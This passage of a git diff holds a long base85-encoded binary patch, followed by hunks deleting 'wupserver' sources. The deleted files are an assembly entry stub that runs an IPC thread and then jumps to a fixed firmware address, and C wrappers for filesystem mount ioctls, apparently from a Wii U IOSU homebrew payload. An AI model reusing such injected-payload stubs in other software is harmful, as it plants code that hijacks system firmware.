ztgHI?eNjCvSnI9%xwbKt=btYh+eaHnZ)}T1+6)92zfCReZQ*cRb2}=VLZOi57xjUF zqK8Z$u0oFbjlLF7fxaNG=pomB^!A|#7+paR?$#-&@j)OzeiS_v+xP&3>c+Nc6H7oe zK+HToM9tB}k-T&=S6-^s42daTtZNLam|&3F$xIy<7|ODIAlpmr;AEMJ;GD=zy?}Ef zGaUq+6PbzbJB~P$%rpU*LXw#(ZDl4HOhFT__MuQ(ao({3U7iX2orhY~5U%^oBP3H< zgB=~%!O3($a8BspeSmX92SsBqjkY$Me4CP)xjc^vj<~$iiZxBfY|s_3EE z=s{@3?IAZSCL_&CE4ENdKAKQkaqi6N1lsKFpcSX~39Yz2gXJ_(%rr(QtypQr!0!Yi z%?^p$ew#VZ5kn(xZ*ylSRWb=AzMp(1zPxt;LTtD_TG&DOxDDae*}9 zNGQa%04GxaY}XIfY9uAai`6!))(_=M|AjVFT52mNkro^Yx!NsJX~B8Nh3qJw)!b@P zNn<|CNOm?~Sw^yhll28<8_vq3qW#g(qy>}I7+vrf9Z`FvseLSgrS~B^S*t^H{t3jw<pM%I`q>z1ZgsN@=4@AlDSA+I;aRkwmb21; zH9yz3A$xidcGBhuTRxr0@QNNXeV9*{S1Tk7e}$wyJqTNAbJU%!lr2e)%bA;xkiV}#O*l~xS=P9PSnR@~C;#$GyG zsmH4=Qhp&o2TNdyS82uBM&ULQHFK;L+pUNhF|^{Aup4XZY*!9fDPQtzuV-hvWm>RX zRVl9yBe(kf3|W`l}Gu{W;)u)aNo=HpjHl>4K>H~ zU@s>LO*pK+3fHgJ@BsDhLoA9lJmKbxX&)xnBGQG`7l%ytl^xv`htD+01(kU0=KuQ) zO*kCBnD${3jEh(sR`#&mx&LE8^Fo^Yx2Ff84Tsy@*@qe0kv%MDmqD#~#|GAbiOX?b zX~Ts@3wGLYUs7np;fOoiFze2aXd%asR`V!rn25y^ls0TM2Dby1togZKJ7lK~_ZfEK zaJ#Y#D{UA!STx#jYm*zhuv+P$RyqLt6Nm-7(xJ7*jb&G1w8H3u$LLl!_F09|3Zn}i zqa&;-IIg<&~$+>)F&#gSj{>VfGE|+eiCux3#dPhnW0K96plScmDk7 z!8hSo^k6{(WV!DZJ!IR3+eFk{EP6;8^bmG47anP1OOhjc$gz`_O%&}K8n%s6A9B7H zdFoqqsR;9N)o>w=4K{YteFGx~Ex7y|8_&5rqJu4sx z2?~iOYLL@G&W#;JFAIfJbQnc0M0U0|1$r;jPgC zlB5x5JpmnQ#Iw`@d`bi0KBtuXU8V&)P2uh6Lt9AFj=ct8&_atVZMemiHvF>uZStel z%fC^+x$HZ7U97U~IOzh%s*m}%R2Qk2iFNh3orZk9l{n5pA9ipueGpvGa!sN)in5RS zUer19G5-|cocK@Cea8_=3MxaS_pL^(K;+o~WW7)0r;zBQCclq4v;l)Y)b94mj}RzZ zJS!(7uGTQj)>AwHKf)rO?@@kJxg5UG{HAQy#_t;#gMkd%fU6Y{v!@4TA0u{Z33eKR zofa)iJOt-N;!)pRGbBNKdVqm!VnFM}ItX0Y5{q3OsPF5)W7ojwrfoL_ zhWiKmlOz3saPzuAxG~z;tZf3^#$-968}=qGS6~f zjc0{trDu&-YaF?2_h_;Q>FBVLrZ_j+zkgI~>`RU&wZ@*25v{Rz@9y3Gdr*gqHYP_$ zhX;DbMrSYi%(wC30Q!jDnc}%L09r-Gf$5*ioLcKCPuHVJ!Fr6;3%SgzummuUTQm?+ z;Op>lQdCK6q3dM)Y}fW_-Q7F)jCJoAPWFzD?HR$4Vc5;0Ev|geGwYxo+09PLS~ET5 zwcaj|kfW$Tq4?;9W`Iaz!gU&}UhD|Nn>Shg+ zvZ*PX8W1&sNccFmyE?e_BlpE#*_hCbbw((4;BO5|9`wci60dhRdy=VZX zMNjKZ?rE9pE3Lt7ra8fMgYu}Y&!IIWNo$C@vLiI}c;JX0a#qz5H58!)MBfp#N~WBz zMLqQax>N)^TbWD?c5t!;L~ud#+LX|}D9RGhcGNkMfF1;#6A6g!JB~+B_5umAl_sr z@z`9(83SnB^){ z2_DNVH(15vNQ)v-Wm(v!$~eAC#Y&K=BSMq9f0^ zF3U`Ia57C0oD-T*J1$RJK#}{JRawwhX#t`!yc0+YN%FDf@+tBkh=y8S zX~whE0+g?rg<|X_9;F4C&4eM6M?+DAGLNEM=24W(%!jyKf(+Hsb?mhOgBBvLG~&#c zf6s50sO)%or`l~o>p;I)1NXPm08bG3T3%)Do2 zEk%yM3`j)ymqnY}*k8cWdJ5%VhNjI4GQH5OPqhV#$C6sqQGfGHN0$YLvWyF|#%u>C z+Y1OTXt^d`kD|P~TKSimjf9S%StX_yd;c=fi(yM^in^I)Ra$i3vBYeBk?<^FElPx| zOdEDKGMP5);AGlRwzTY+BN|@dKI{g~F86HY@xswusq!z=G#Rs%7A^2E=ZC1DgEc=_ zQW4t@?6qhZ(m)T*?raCjzYLuwOF+bJS;D10<-AM_cJ?uu%iF=pT%O>ZNI=^G=VZmi zJoPUl^+3=|??=t+=JlomM6 zf(u%1Omsz2UNt)Jc9{rY)YT8lzieLG#%d(WvlKH~9_gsUnxAV8z-DFKi0NMzcD4FJ z`Ilw-FW>4oS`om(PU2B3MY)Bhr&b!U<}V&S2>-IMyR{R_zl?iP(L=HOmtn{-{L8}a zJU8mdcC7r%m`1FrOfR&`S^1ac`X`@6yHHzkm^LvA=M4FeO`4f`xXwItwk)=Ciy~prVNd5yh{$+ipe_30z8xP{hELRTsE0$LH zo+|1udRL+UIoN3d9SmTmb~IrJC({JMIiZPOz&W9bdFnsVXZn}5g z2*MY)k*GnLS1NKDRoQ@ol`oO-W?gA*D=!)Lur{^dqVg>xWGWhsI1+NF5wmRMNF&bu zf-y7zkJ11-viwNon1jh$u^pV!0A|PKZF~oy0SJGZNJgf2WCzGVJEDn68g9g%{+d>g z`GZoQ(f|Yzm_K&3P)s(lw}%E`&_WAyd`Gm9SzY0X7EZ~uaJ0Jo`m%583-my&y6m}Q z)yMo>s(O`yv&fi<^U)DT`W9oYGf$?}pNoJ8eHblmCM%o9-Gy1eWs6D#MKH28J;4R}rsloqezL^#R@#eer025~Gg&LnTk{u>9)yos)ZO|C+SMv8H!I(UWDS)m}&Nh@Pz}@PAw{^UwHiJVgNH`T#&~PJ2-j#AUG%E z$A!?CozTlkJm2}!3%4P+k!UhBq+C89`HJbq-p35|V%XH8VK-}#lop*=wldLOB-~%M zC{bTBZP;nYGHuww$+V%g=zO+he8Vj2a=*se`4M=_i+V*Jb16b?9^qxow$lb=%(jD* zFZS%+|-OT&<`Ron-v*XfD%2G1=1!NrSdsQD^v= zwTIkz)X#QC36``PwW7{K4O!_{rUx}Pn9Vdt8UT$K#CtLtvur~f6Fz3`&2CnhD(PQI z|G=pP;T2**?l93FW_ey&h0#YdhkSFR*0Yp8D_X<*2ojd&sK%NX5c1EQaB}Fg?QO~r zSor}1yY550#)4&xfs`_pQkG_h5{QM%qoZ!-=#|u=q>h5e=yo^Xh*21=FuK4ox;>=! z9-RFuV{~#R@CaRt8XB=79*SUR?~!Ln?BL|tbAk(+*QSK-MNwXJGv8KMwuf4jW~k(7 zP(rcD(e0sDr5P%WE-H+UD9un|bWve+RB46^ql*cnn_St@)m(>~>j3sA5DRray1hwR z!PQ&`5VUwS!zN_~R~TJf7~RIZ+o^RO)Uh)LwXUPkrH-hYy;GVY=(uR+qnlmrW~Vem zr5OVI6Nm+?88&CUVU*N?ewsNbsiV*_x<&c>Dyaj6Ts%@otFo{tj4mpSj=1vJ&EUVI zJxpGgcl|8&Em~E5`_bysC4sxwYm>fG4Lg5&x0HLHD|_Kt4{Cm;m#1HkPZa4+p!F7^ zhP|xiHG1#2z)+Uf(@~Ju=-I)^YxD@t$r`=80T-ehnSt+n3CcdMMEci=PCNtXzT=1_ zZEMM{zEWTc4i_-1dCj>fwIn^qoLQlA}9@ zlf9#3dq(!rr<69fH@jMY9f|U;>y9Yqj7%|ptx7wpRmUd%Tg&tszed#J`)1iUp7mYp z)5{yQ$zST#>0iVrH0|!QMM^b<(HywvYEePG&OMu805fHbkg3KFPNo`y3!2xWgsw+X zUfFst>YPx`*8t~)Y7&5RvK!E8z^z8)!0*dtPObHnr}kqmWIZ-lR78|c*S(6VD6@Ok zG(y4_bCnz0TQd8pJJEO}ZLCc=qNLYkN;;~Q$0og9B}746eb{@trt{FrGoYSd#V77Q zd$w4qCxG7IU`IVSGk}>gX2{fI2Pabx!8xIxI|1i}dj1Mx6n<2Hg2lkB)OG za2tsN*pOU4pD~E3Cva}+5xdW|w}joSU!3hYM6bF0czI{+&`~XR>7?)4k}f~(*$COlmZb}mS(zUm=v5e+q98$IfWlI36CJ>1W6ynYl?JchCy|Wz~ z3>{_3G#$nBjgpBfZK_)#iI~8;Rl^OH-MznCd)^DoO zYc4;IuSwlLS-Q3Sx-xx*UTu6$s(f?Vb9!B@vg|m`DAONN6NMt2CnNpDD*uyYLZKFs zFoG#6MU|Go*dmWXc5pI95u6i>dJu5d=i~dzv&(-6I47Du-S+@uxfyB9APT5Jz}OHuVWmjXYlD9kZMg=WxC42lY?o%58{5$Jaxq7&)}11^C`)KQT7Nx03`-l#3C zpF5JOa=t~oCbsF(&W=)iZ#-VCmc=UcGzYs`-VO#ZQ|4?RftLj?o%14*b4c=G0nm&C@_4m(OQbm!6NVBYlf@nn7d?rbW^= zTzT+D=7cVadQW*p7r8Rg1aR?fLl=gnu(ipRt)tnM7Ji}x4PwMnvnL=o<3F>_P^E^H$FWPci(G%As6n=K+)0$>5v@kXk#-2n5i9Y*ulxPL2yoJV<+I8$WfmFoD(^U?mLb+lN|Lez!VZ~ zWWF?I>@z=|HVlhiYpa_%C}q)87Cqp2!lZ?Q)R?`Q?Q3e->~~I6vKY9C0Sj zKM9yZ;`}Rlwlp8-#|NmOLASbFotyDcax}A)Yp(;1_=!e50Z(TKS?uD)N+0vhUgv~9 zo+>cV?AIc)&myb*UM=HSc}NPZ)R$dlD6P8%eR^-Cw7{I9h|I55L}Qi zhLo;HQC`{fho}o7a^U;Q>oC3q04JIR-FF;uCQafbU<%30Z>_DQlrp^h+M;gOTtqTn zw2r7H$1irCd-&A@J2==;%=;O@Oc`@!i-aAVOfdxKgkmm)U+e+gn<$1Ny>B(5ymIL^ z)Sd6jrL{Ph0=JPUfc41b^RZ@=#htEmPS1+efMK_bxZ1y0dH9KrI@b@)#!%~%gh7GE zn*e3ZU`IVSGk}>gCdkxd2Pabx!8xHG<>6;GIH-?AB&MEodibRV3=3Z*W5;&lmlTQc zN_9tLP>#e#4=Q|Q$+yop-M8;<+(85MA5F7VyYl2;k+z4MVW-ml%)WfLhRsV3L!WrlGAp;IhpGs z-y|nv1KoEVk;aBHM0($Rn){QeFQmCH|2gKmU=-Zg9&KX(3P)o~3)7AxYRK`%D8nuy zWD8W@7{HTku%n8OEQrW4oJL?rh~ zW1~iZf%r-M6cRn0%f>b)Jnx!9p^!ywZfb#xQMj$S9d6xp$nuN&Kp?yJ&(WBXqcsOL zeMJ#l*oa?pVET}yAvbOP zgqPGg;QQG%ua2lB&zHZd=-U(}yob$JuWzFB(dW+SHK3B>{cc{sLIrk|aSj`_M0qXEeU> zObCyebc~h)$mI(tQ3*>Qs3)`i%|)ReX!Duxc>C0MytA|Nih2YMJCTwyX2kQgc`Wixm3X!K z`Q>>R00wZd=tzt<;)xSO*QyJ8=ItH}=5@Pv|o%q&O1(6 z(VR#4T2vCgW6&3Yq%Lc)qXj!SnHC7n2`$VwAHAkfORF1wd)7Jx^lj)6UZq12cFS0A zryIy4fE}ES^-71hz&eDOgKcrON>_bL&&t<1pHF65$_J6!$xK}q7|Pm>6LxSi#Som6 zabg$XoXAX%1I~$uE8TY-u^h1sk=~bNMtNn_Q>ZJXSt|Q)>5)D`yU1dMX}^d%w({uH z>~v>&6tRPoX+r7PS-BMCCko7uxa`cMkMszGCc;fFR#GWFLg^7ev;-oJ4~4llFx=uo zGmc~o7mjQZXNbJSSA6hAC5(xsxgLFswt6OFHJ-z=#`+kP>r}1LlJ(IXJ z2j)hyK9OJmGqsbB?BL{)fZ&`+NB08GiFEWez&VkQ=)U8KGf79M08>aFe(P;*czvda zU%1tUXLlsCSBN93c_Wu?p?$PNp1!b3!@y0nYk-d|!Fx(|-q?6Uw3c9zZ0@q3B1fMwIo6*HL%A z9v94s_*ro&AtT9Up6lb|K9MnhP@rea1e6JVNf)B)gqV`@S@ZhX<1ZX_HJ8QifsUvt zk3C#?{FRa&9J}>{lFC3yQ@_HuynmVgMSOz323Dlr|R$8tldgJ2-iKAUG%EgVI&ZR`>4*B@hc&S82<*YB(7iGT$jUzj-WJBk>JCuWwOh>{4$ztSM!I zv!}dAVl|>{Q#pmY zLRzbJE^8!v6t;z3*&}%oizB+pXO9Hk_+=x|g^OX2JYVlZdRGek ztfGL1l*_ZRrp#cEG`$PkBCK>c8HF;_YmTTX=leHDu{37N-`TaPE9xPeWWdwek^XJG zSVx>1(XGah9o1ZKfuSs8fJ`-Za5B{poD-^1-@h^1+Wz}DeHm}VHdnj!&T{p9tb9#u z)1$htP77$Aw{1F5#NYl!3bCd=oQmB%5m@pA_1U*hxD zFDhG4;8DNUgo9up0(l5pgWXtR2Pcme1m|R|n13FJkrp>!c#6(e$B=b%rDK?AE>nP= z?jTD`c5pHUC>>*VR*)HW4B>qkakYXt%%tZ?$H?;~9qa*AV$s+=q-Bt{5ieFfL$?eH zc6!E*78uIfjU9GyGUX7Qld2-xle5V5N)a>Kadjh6{;CYR*L?rdMJ##7p8G z(1@}FDmx%>Jb_racED(}(w@;lj)T&k3m&60AH!5U+6h`Kj4pVLZeyiXVYI^NYzwd! zO)1aXQkG^`6Nm*Ybwpk4g`nhUB}W%LMz@DttP4^YtuVUqF*@^!ASHF6vt|rRjxKbm zqdoI66ot_z5tS9`gM9?AbTyG%2ohA>*_=Grj zwZ1fSZmBpkq%W4v42d(_`OJ*=5L*f`q1e^hJiOO7VB#-5Q8t+99S?%n-+P`7E@ z4UNgs(cyufvC)24($3|;B3i3#-FadZWe)5;Ok)V`6=w$D%g6)}2?ObTf}{KuX4!|7 z!V^Z4`6XBi4TuCk6CCa1MdwgTfvy)6Ipc?pQEVT|UW<-=7m?4QGT&F;1MGJ=b}a#z zf#E2%uHQa^@&qEaK^Y>wZ?#$GcRR|}6yO}mmRDVWDMBKsc@qvr8z=okfYeC?>#-JR?QRd)~W z9veh~T$Ts>2JYCsx34?ZKRDDsj7pUI23pLcV>yS%%;R*~Dl}y!Qh2JDQQDxyEIlqyDTm84K1kh z4Q;LT4LvyY)Rv*Ue0OasUFENct+?x6?<)Kr-|vmBusL_ZzDuhX?7OLQ!M=mI&ZW4{ zO_jcVQ$q)bCX09nr+mDl7X3=N$9QbV6XZQR?BL{`2kdx)yf2^|o{+(R^VyMzcd+sV zy6+Lha>R4-1ln1>6OqF-`sPZc)_Q9`A5XA6hiF)CTX8uQ^6?0&qw5+woN3yn$ge=G zHfcVH{5nKq&rMBhM*h8sYqDP01`ik;?oalGGb~~3&f$U4eoL7SN2SA2E!o#MvZEy{ z7R)qX9L}hDPN-TtHjS#wzy-I&Vpj+1`}*(LH86@1GJr9(KRMDL2sf__gd3xc&Dtis z-A3_FqG7Hm0a)bb%{N@Dm3qrP6`m#jrJiM;<-Quv3eQT<8n4zkk{THu9!>UW7i2VE zfajqevW~_mW&-y*b93(Xa0bH2F!n4*k+5?nINC3S&Iut>pz9GfaG+xpuNcZ+i;mgt z14XcWPlCG-v6V7rpyL`w1BDOVBKgyKg%ADvMs_r3*+W3_ha9AsSNO2AU*SUz228J* zSNJff@L_uI=a%LbK0pyw@mD@`Du>M1Ef3!^l{V;tx3}Fs))< z;ltRTy~CJ+$fy{KKTN{~D$FZ<*fFqwWXDL>PNnc+p5w#d-sI@Wz{n1B4npCB!Ux)p zmoY-&!~Dhv*f08&{UQektQGT0ejsbM!Ut>j=j7)VKJ@SF%PJRG`lQB-`Hc@d`xQRq zV8HZ>dBqCs31J;^(g%7Y_OdBwi{9r`|k)K!i0Q-gF4>>3> ztzur`gRoy%IE3O4({OBv88a+-e@ye^B_3)1R+$N5@dm(?#SDq)-Oi9((11!)H-dqEOhKA$bw3vxT)*w2d| zf$uAOMn8ySPP`!LzT=29ctLuf1PpnRbKv`OnNw@MH9yy0klw6UWB;CH&tQLd|Nj17 z_|JEbj3#?`X_Y&Mn%XSxNHf~=z&}l&WheCD?V3gpw2Q&e;%}9`ti`;YRcjZms=TG) z?Bv!4ZL(fpdG*~_jQcm})v?ylqVG58)u9#7Z_#Vsvp%|`waMR1zwYz@`kv)AN{eC z@v@&RdVb-D8!n$*hPN!&YeGXM6TZF`TCDz9R6J$|U_m*{hvU7X-$GC6W zmxz@F&X!EX>eD~M4i4qDwCh9SSh?{{ceDJarL5ujjZ!&t{KEK&-nCnJiL$q7)^GG8 z?&RRv&qRfk`H-}eL&>c;R)a|NOY}x?l)u6(n|_?0FQaS?Oq&g;wD_3X!V%A*b4=bN z;PUY+X(tEI_p;|8XUnfVz%3^`IrvVRm!O>-XvYD1-)clETYOgifD?QTi3t3@T;|kT zPkFi?rLV$Sms0Yf)>6J1<=ZUf51>4dDT|#TX!D01&8hBzJ)`}@dy<3N z+CF%D_YQt=WT4sH{UO!7BYW7`E<&8q-`{VA$QJ2na!_1vbl?svkhK=i0$i;`zj>}V zc8u^0QaZNh&VfCB8L42of zycGLJq|eZfGV$*C=J+k~8@_%zK7Qoh_(AZjV7uobPyB&*Xz^_|f4BIBnwP8l;xX-i zulNJ8L(R!Up7@74KQpoZ<`XZqi+ z)btScpm}HfK>V@zXX0PNJ~p`fHMgF8HT`qkTdVg>R@QqbOY5~sZ$P7CUEcKX5PyUC zYxH9#91U%~0{iCp*L)28_g#AZ7mU4gd??lF>mQ@ip*1Cwmm|GDwX5%NgJ*Kd>iP!l z`8w3x9n|_x^#@ace*O}a?@R^)8lEdecMNLDV4x)ZYy4KEU&oP(^v^u27S{mouakj# zZK?z{uLeDIh4c?FKD^lF+v;Drs`~kZp7b{|4~Pufxmx#^eg8yB*`a4I33cHLZ>EA} zw?BJH*~(`xEB*cnfACdpd(A1TKURIrvqj6oocM_z2u+%2tUU2*@Ck-Y1=Bx_Po%s@ zK^*I~Nv-Bmy@sAUJ`t$cGDLFe(I|EhT6n5rup!_{_Ug6z`hnnS?Tw!L@~JXCFt`p^ zO`wH;N>{HhoBCZq6Ll}HuBRG-1OG7||N2Dg`1LLEM>qfFz`c5jzP!m_*YRcV6TbLk z1Qpcu`oY?RUgWP{^M{*0rI$u3FfK3O_1W6$zTWuOgPvIXBU-?tuh$!J?<>)6ZF(s9 z3+?gEe}1fr`rqjL!C>9#AL#5FMe>KL672`%E#}gE9s>NJ>p93=Cw3j ztGe#A9{9oswQY1xWBF7mJZz!Gmr5@0mkiQ1)R-U|P*Y^|O=v%3;sH0JPyD@4XjSj^67Nm|- zuK+*&b%dQaAif#!a_{`^V13zS8G6Wv>roG_7RQaAS!VRi(el)BoL{!p^68ZawOZgC-RV)^krD&noL}>CkM?kC zRn2%J26_?K)E7ML`=ak*TvcCbTo+fxlO7$qe$}pj-Taq*m+GbZ!Y7umzQocymz`Sn z#AUTr@eklRe(=O)`nuEFZ_f}m1j^$BU%c#bKgvH{T(;CS)PUq7u^>8l4{I`XmAYaaHdR@M1* zPsb$(eDMblR{UAz22k6nPkL7!tO#z{yz2`KhE@+%#&2KmozhPI*`4SYw^Q+ zWBmGu%Hj{5@<;sFycgFzsb8f>|EwHsb)rtwJ@Kva4!xiH8ZGye$4eh8i+?))2N)F| zkKcdIKTk#R%nQ+$KYzTuC(zT|^Z7vOsq#AQVgCm24{pIVj^V6ZK`9GmK9A#CdPnVs zs+F4u{Hum44_16(LC`z2Ab7T8C9v+lQCm)G>DzXFKK(wr#|N&!UH+l-Ba_Kg3pn-l z@taya+T%69N^eWu*;byueZ4l--{wzmjc;$zrq<&9m!+CgBa8o+erWO^^xCFdA1ZJ0 zOzvHcUDW(#~=7? z=U+^{N+aDHy|s&V@1x*(Z~g^fG#z8fn~w#`(tm=dI8wV<9NAgB$b|VQU>09T?{FVr z?)<=~JO9hnp`h0DQqbQUjBi`r(({?#Uh!sE)OsHBr$7E!3F!0B#GM-3{CY|6=MDV< zPphSGp{wcZakT`lb|dvi`s(;K>CN=CsBP#894hbWNk`&0hCJGMO(^|&y{vYjc&61o zfsNj&pJE5OV9QlKKkVsEucdM7D8@RRIiA%mf@qyL_gl*Ju0xsf>G+nfkL#sJzNs$* zH+c`9HoVR^xnP}t%8RzsPCXs)9_c*hj~_62dxLN4SN>&H%d0l5_;Ew^$pJi*?l}k!!Dx-yh$E z_wzKAOg(bd;**!8nrl6smrO2%9(%v;NrX_ZojMZq#SZDAM6)q&i!=PGmO8(9%Yz$< zUwi^*Yp4DMJOJ3LH|#p9uWQhLP_1o`fAR|f?WLNh;yqV;^oCU(sTDVV!+7&}kM>Z_ z0G%*ktg4KFWv|5|^iWcvwslVD2)NcJ>H~yn}Mne0@ifi!}*Y$q&s>RQ} zhn@sD(`6!RpR~&uHn!l(+NJspXmW|7wuNXm7`%&SjIn)MD+>jepgIwrucE zy{-p(ze==$vzOMs8at$2oAB0%kuv>nb=B$j8`ln2uUeIUBzCaw32j@#S2Ip$q!*(l zLC5hY((kX+;s?@y(Byw2bG27~@@ikW?-F3(tDRxL5COu%nW*OAkjaA)H6& zP>LYnNGIb!$0$mA?*e*W^Be)n_m$@97Hq{)(%(2R9Hme}IV=Rf5=~Konl*@2s79o+ z577*l0M7Rcmyq)HEL9?Ft*1O)kJ6R6DW%I0S0jGVEMJNIV~AIo<#!|hBq9ZZr}!-@ zAW*&&@gEUCmxcGdA7u(AyeDN8MfpZllb(9J3BLnnIv;ATIQ}O{oAENv&vwR$fYEgc{EaQ2-j0@)dy>H++1uCD!r8gku_eUH0KZLTLJ--AvCxUr? z3AH~3D!&eO9)0UQlZ7v*Hl<*~mlLj1pmHXl^W?InKb_7Scou*Z2p7zG0Z$#u>!@7k zrR&q2LHP~QJ*chvcfc@OWq&@$9+x0vPIQN9i38nZl#@;;Qi%<}yx{|}Un-S9N;U!nXQ%Emmh zM)TV~!Y6ZgJ&0kNkDl4wQPX=0x4za=K8-T9!KiV4Um5Zu1jMhe#weLPaB4onEfE6Z z*SEP|I4&8=6y!`2X|odvU~529V7jt zElsFM4)>^qkD(@ zyZ7wf)7?v%VQk)^b-!0k<8=4+_wMcM?;gEtsDEJ3j=kMOqr;5@Bg4tYkU4i`-l93& zGcal#Y08|uxxZ&@XV>1nyEGGOD1}Y`nx~h#ckCVR?Z>Q@dB-jNqg%FRN;erLvB@c4 zWEju6d-vWwcmi`1MB`a|hlcQ)^k8|aX*MiRH6B)6+q`)kQ&%uP4D{_sy-3LfF-&`| z8YP(Rr=PLSY`$CKH+FB%f9QQT+;D3w{~?@Zd!T!BcT-#U=-zJh@3e>HThetmYssFy zcs}mMY!B}4-`zWOSEeD+tg-ke=|ahYk^XD;_x2Bs4v6NY*+gy$(JMwlI;($VY&T<= z35`cWUH9JM?rr^}so}kMX6_r?yL)J`e-!X0=w@vFIBLDCS%1s6o4WCk88|AV_ov^x z6Xu}N;bbq}zIT68;AQvj`blguOz9V4(xminHLV`0 z7h~8uN>^f|QA#_o88oGjn(5PKit&(+`<57G-+wmF^L^e-ziu7}pWOgB|J9n-Lg~ZU zzLL@-#(AYzYFZo0rEeN(*&p0na+O?xNG6|Wi3 zUs;L`l2NW)Z@gdSJI!(zL=wx5aL<9}aKy#DwKr9wA%y7%Q+}|yzc^kUe)S{1D6|wNsZM)*?0`ZbJNh#3bTA#1A1pg!pO1uOfZ}aSHK=h{iSE zIPxLS8%G{O{50ZMJ#^hS4x{cc>JFpsuu=D;4X3mpZMgjGONT>9wW=3CR_%ZB;}iau zJ~~0?=%i6SUVUWAmYVp)#e)sGc!q#2EC~avvK!f6Qqp>}xrOZt4>qlJXN;WF-Q+zd z1@;*~EYC{1SOwKTfk-kC$z)UppO9^kUY4J6NCbkVAn9VZaG@bE6yp^76>xgCEbdK3 zNyqZmqppJvn1Sz0DR>75A9#`XFiQ07ixKHPsu4-9w%oTAkKqNM$^^b%rozlv>nV@x zdH8v$jOd|fqrk_zjG`#haquw_`1q)$OvlG9WxD=hOPP*?Pl~|jKW!?J7(8PUHo*Gmn29<#$?+ ze+~J~mhuVYueX$ciu{3W*+b7qFy{R{b;!PIDPzph-as^W%=X+Ql|O*?qyFLJe<+nP zHi-V=HBcUUUl8 zvmClj5`IlFRIbj#n_@4+u@s!So~;OsCzFNa%vIyl#BB50(2WMaviBFbS%Y7qv4ELUo?^&Mqh{J+rd?+GQ8S%1)0fTkjFHkh z1G*0JTOrR9-=H$i7jo^8Sq489^6e+h@?n5M-t#vEA+sTGTAn!-CK9I3!Ia_KEaPuV1v-+E`%ixOZ*mVa)x1)Z;DD;t$tqRbH$Vh??)N zrN`qpbp~<#23Wj&>FeshJ^8`7fVkx=C4Y*$)GadJgYu$JVcmi?Vv9Kc*)_1iraQP7an{uY zm3gw3wC{^0K~1#2XnQ&$&V16qfVHqcO;$Z#(h=%7TvKzPL>&7f9SfJ0uA2J!VOm*;mC@rvHuQzE8gpn4nea81K@J0@PGb8B)<-}j_ zM=VDq*^=NWe}!2#3rFJwokJ;tfD0OV@k_@jO7seSo9m9Qb{?%&E1W^3;Bmwn0jybQvP%i!=5L%#Vw& zy;PaUQ8WS?+IlS#?D3xsDA2Vt0cDcyGXZ7HooHLQqT0w{zFJE{CVkVC)d!{HetWbaVcm=BsFto>pqY{{(pv%=`ZW$NwG`#&HO?n3fyG z~k znI1IdsLZ6FrJS96G;gtEI7!oSWa?zzdBAI?@^pWL%^EV;A)Cd@1j>=@|X zOkat!oJQqs{ezvD3O6TjEeCJLv-3gGM9{NnjU}~V70EJHMwxV(g;c)YEJOAY$Dy}~ z^cf@dzSB7Fz0QF5qHpQA_dgr;gg#XE;d&w+H`a3c(1%N?{(n+xw7`a5UV}f=n$G4{ z{$`kyHJw--La!R8AINo8TE)?!Ae751?+$s^bnaiGw{|S+`19CREoG%kPW&=aWvp4V zg;{pumkpPnEGd2Ov%WeH)&krV(=+Fk*PoqS6dZyS5SXlaZec^m7SeF|2cYEFTr}v#rjfxP5q6N*VQfV@UE{qxq0iA z+QYX#9{<$-;Qk(booq>L<^Ip&>trkUzqC3KTZuJ2Ww>_(uG+TZnbHl{~p5u z<~!o4C$XaA(Wm_Br}cNFzfFyM^o(AHHDTrW8slX;t;xGnZ^lZZ2C**XPmi4uW8@It z?H+xRz7(T2)(O!Po&8Pv@Vc{;D^>?-G(P)+?$vMFzhta#{n@Eybz0)ZuXyxZ_pj2| zjrHPa?IBOiy~*GauhCD51jA1L2yiuGJ>cTUJT;xVFY#jfMXbp97h0ERyM|7z*%NZ` zVnZUbtl1N5c&_vvc_4njzPzKf(KERStG(LksUiQB2Fj0AW>@fF4dt)(YOJ{H#PM$% za@-ovTXU0M()kzv`uAvo$C3I5f}QuC{6YHY<0NhUO{#B&4nKG_Trs@Y_(bM~`8uW#yf71Z+>>ON3L0W=MFcMsV<*AolU+JcZw)-o%Cbv` z6$p8TBko0c4A~TX9r!Ug8WpqSGRY|(_7p+DLl&bi2zHMR_V+Y3M~%XWS?GZTgCz)9M?h-?`nvB(4vzI3Ak(V4 z?;IFSbrUqLJ`mTNc3c}u4&zFLBYjDHz%-vvtj(6_v zSbcdzq9*mjRGnUrSsJV)KKte=afWXCNEXVNOWIH4*q*_GUHyZ1&B=$Uwad{X#2ZVg zYY>P>05>y%`I|8LXA$`vDiaI^Y3%io ze*b=P#Q0%2N{N2W;2Xpxs!^b^mm;+vm8G%Q|3|3XjmUwo$7N2f^^~XUiIkX(nP*rc z!{uh(%{VT|k`JQetkd+iS1CY+!y#+-d0MS{Fbn F|1Vi2Fz^5X diff --git a/wupserver/source/crt0.s b/wupserver/source/crt0.s deleted file mode 100644 index 2a8d596..0000000 --- a/wupserver/source/crt0.s +++ /dev/null @@ -1,17 +0,0 @@ -.section ".init" -.arm -.align 4 - -.globl _start - -.extern ipc_thread -.type ipc_thread, %function - -_start: - @wupserver - mov r0, #0 - bl ipc_thread - @jump to original code - ldr r1,[pc] - bx r1 - .word (0x05027954)+1 diff --git a/wupserver/source/fsa.c b/wupserver/source/fsa.c deleted file mode 100644 index 40f0d7d..0000000 --- a/wupserver/source/fsa.c +++ /dev/null @@ -1,451 +0,0 @@ -#include -#include -#include -#include "svc.h" -#include "imports.h" -#include "fsa.h" - -static void* allocIobuf() -{ - void* ptr = svcAlloc(0xCAFF, 0x828); - - memset(ptr, 0x00, 0x828); - - return ptr; -} - -static void freeIobuf(void* ptr) -{ - svcFree(0xCAFF, ptr); -} - -int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len) -{ - u8* iobuf = allocIobuf(); - u8* inbuf8 = iobuf; - u8* outbuf8 = &iobuf[0x520]; - iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; - u32* inbuf = (u32*)inbuf8; - u32* outbuf = (u32*)outbuf8; - - strncpy((char*)&inbuf8[0x04], device_path, 0x27F); - strncpy((char*)&inbuf8[0x284], volume_path, 0x27F); - inbuf[0x504 / 4] = (u32)flags; - inbuf[0x508 / 4] = (u32)arg_string_len; - - iovec[0].ptr = inbuf; - iovec[0].len = 0x520; - iovec[1].ptr = arg_string; - iovec[1].len = arg_string_len; - iovec[2].ptr = outbuf; - iovec[2].len = 0x293; - - int ret = svcIoctlv(fd, 0x01, 2, 1, iovec); - - freeIobuf(iobuf); - return ret; -} - -int FSA_Unmount(int fd, char* path, u32 flags) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = 